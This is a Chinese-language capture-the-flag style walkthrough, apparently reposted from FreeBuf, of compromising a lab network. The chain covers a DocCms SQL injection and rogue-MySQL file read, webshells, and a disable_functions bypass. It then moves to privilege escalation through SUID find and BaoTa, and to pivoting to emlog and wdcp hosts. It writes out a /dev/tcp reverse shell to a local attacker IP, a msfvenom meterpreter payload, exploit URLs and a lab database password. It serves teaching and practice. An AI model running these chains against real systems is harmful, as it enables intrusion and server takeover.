前言

最近在做内网渗透相关姿势点的总结,打了一些靶场,本次内网网络拓扑图如下所示,中等进阶难度。

测试过程

0x1:信息搜集

访问域名:

对域名解析的ip进行端口扫描:

nmap -sS --open -Pn -p- -v 192.168.0.122

对网站进行目录扫描和指纹识别发现网站使用的是DocCms 2016 x1.0

0x2:漏洞利用

网上搜索doccms 2016历史漏洞,说搜索功能处参数keyword存在sql注入,使用url二次编码进行绕过。成功获取到网站admin账号密码但无法进行解密:

从网上下载源码,发现/setup/checkdb.php文件可以连接远程的mysql,所以可以利用mysql的bug读取文件。
使用Rogue-MySql-Server读取文件:
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.109&action=chkdb 这里获取到了网站的物理路径。
查看mysql.log文件,成功读取到/etc/passwd:修改server.py文件中读取文件的路径为:
/www/wwwroot/www.ddd4.com/config/doc-config-cn.php
再次查看mysql.log获取到数据库名称、用户名、密码:
www_ddd4.com

www_ddd4_com

x4ix6ZrM7b8nFYHn前面端口扫描发现目标机器的3306端口是开放的,直接进行连接:

连接成功后,替换网站管理员admin账户的密码,查看admin/login.php,发现对密码使用加密算法进行了加密。我们来使用加密算法class.docencryption.php,对123456进行加密。4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7cpwd将加密后的值进行替换。使用密码123456登录到后台:
通过网站查找历史漏洞,可以使用模版来getshell:

这里刚开始写入普通的一句话木马,使用蚁剑连接,显示为空,但是查看phpinfo文件并没有将eval函数写入到disable_function当中,换了冰蝎可以连接成功。但是无法执行命令,查看disable_function,禁用了很多函数。这里使用脚本进行绕过,将文件夹里的.so文件与.php文件上传到网站的目录下面:
然后访问执行命令:http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

直接使用sh反弹shell,反弹成功但是执行命令无反应:/bin/sh -i >& /dev/tcp/192.168.0.2/3333 0>&1使用matespolite生成木马文件:

msfvenom -p

linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f elf >

/home/kali/Desktop/haha

将木马文件上传到目标主机,赋权后执行:msf返回一个meterpreter使用python返回一个交互式shell查看文件获取到第一个flag

0x3:提权

1)使用find进行提权

使用命令find / -type f -perm -u=s 2>/dev/null 发现可以利用find命令来进行提权:

find . -exec whoami \; -quit 提权成功:

2)宝塔提权

翻看文件发现宝塔的账户密码:登录到宝塔上,使用计划任务进行提权:
成功获取到第二个flag:

0x4:内网渗透

使用现在的root权限的shell来运行前面我们生产的木马文件,来获取一个meterpreter。查看路由和hosts文件,发现存在10.10.10.144主机:

添加路由:

Run autoroute -s 10.10.10.0/24

Run autoroute -p

设置代理:

可以访问http://10.10.10.145:8888说明代理搭建成功。

使用msf自带的模块对10.10.10.144进行端口扫描,发现开放了21、22、80、8080端口:

浏览器代理访问www.ddd5.com弱口令进入后台,此站点使用的是emlog,网上搜索历史漏洞,发现后台可以通过上传模版来getshell。

从网上下载一个emlog模版,然后在文件里新建一个php一句话。

然后将压缩文件进行上传安装:

上传成功后,一句话文件的位置为/content/templates/beginning/haha.php。

http://www.ddd5.com/content/templates/beginning/haha.php?cmd=id来执行系统命令。

访问8080端口:

使用默认密码wdlinux.cn无法登录,对目录扫描发现存在phpmyadmin使用默认密码登录成功,查看wdcpdb数据库,获取到admin用户的密码。

对密码进行md5解密获取到明文密码:

使用密码进行登录,发现显示登录超时,网上说是时间不同步导致的。

使用前面的一句话来查看系统当前的时间:

因为权限不够,无法修改目标机器的时间,但可以修改自己本地系统时间然后成功登录。

搜索wdcp利用方法,发现可以执行系统命令,当前用户为root。

但是无法使用bash进行反弹,然后考虑的是使用msfvenoom生产一个正向的木马文件,然后执行木马文件来上线msf,最后发现也是不行被拦截。

在安全管理-->ssh管理处生成密码,并将密钥下载下来:

利用proxychains使用ssh直接连接获取第三个falg。

总结

在测试过中发现,doccms后台也可以使用写入配置文件来拿shell,然后在绕过disable_functions 时,刚开始想的是直接使用蚁剑的插件来绕过,但失败了,只好手工来绕过disable_functions,也学习了WDCP的利用方法。

本文作者:星云博创, 转自FreeBuf